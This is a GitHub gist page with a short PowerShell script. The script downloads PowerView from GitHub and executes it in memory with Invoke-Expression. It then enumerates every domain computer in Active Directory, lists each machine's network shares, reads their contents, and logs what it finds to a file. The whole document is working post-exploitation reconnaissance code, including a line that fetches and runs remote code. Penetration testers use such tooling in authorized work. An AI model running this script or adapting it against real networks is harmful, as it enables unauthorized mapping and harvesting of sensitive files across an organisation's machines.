Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created December 25, 2015 09:41
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/6f361f1480c8d164fce4 to your computer and use it in GitHub Desktop.
Save FrankSpierings/6f361f1480c8d164fce4 to your computer and use it in GitHub Desktop.
Uses PowerView (active download) to get all the domain computers and try to access the shares.
$host_filter = '^C|^T'
$share_filter = 'IPC$'
$depends_url = "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1"
$logfile = "foundshares.log"
$serialobj = $("{0}.xml" -f $logfile)
$DebugPreference = "Continue"
#$DebugPreference = "SilentlyContinue"
#Import dependency
Invoke-Expression (New-Object System.Net.WebClient).DownloadString($depends_url)
Write-Debug $("[+] Getting machines from Active Directory, please standby...")
$computers = Get-NetComputer
Write-Debug $("[+] Filtering machine list, one more moment please...")
$filtered_computers = ($computers |? {$_ -inotmatch $host_filter})
$result = @()
Write-Debug $("[+] Let the games begin")
foreach ($computer in $filtered_computers) {
Write-Debug $("[+] Checking machine: {0}" -f $computer)
$shares = (Get-NetShare $computer -ErrorAction SilentlyContinue)
$filtered_shares = ($shares |? {$_ -inotmatch $share_filter})
foreach ($share in ($filtered_shares|?{$_ -ne $null})) {
Write-Debug $("[+-] Share: {0}" -f $share.shi1_netname)
$out = (gci $("\\{0}\{1}" -f $computer, $share.shi1_netname) -ErrorAction SilentlyContinue)
if ($out -ne $null)
{
$out | Out-String | Out-File -Append -FilePath $logfile
$out | Out-String | Write-Host
#Export the object for further processing.
$result += $out
$result | Export-Clixml $serialobj -Force
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment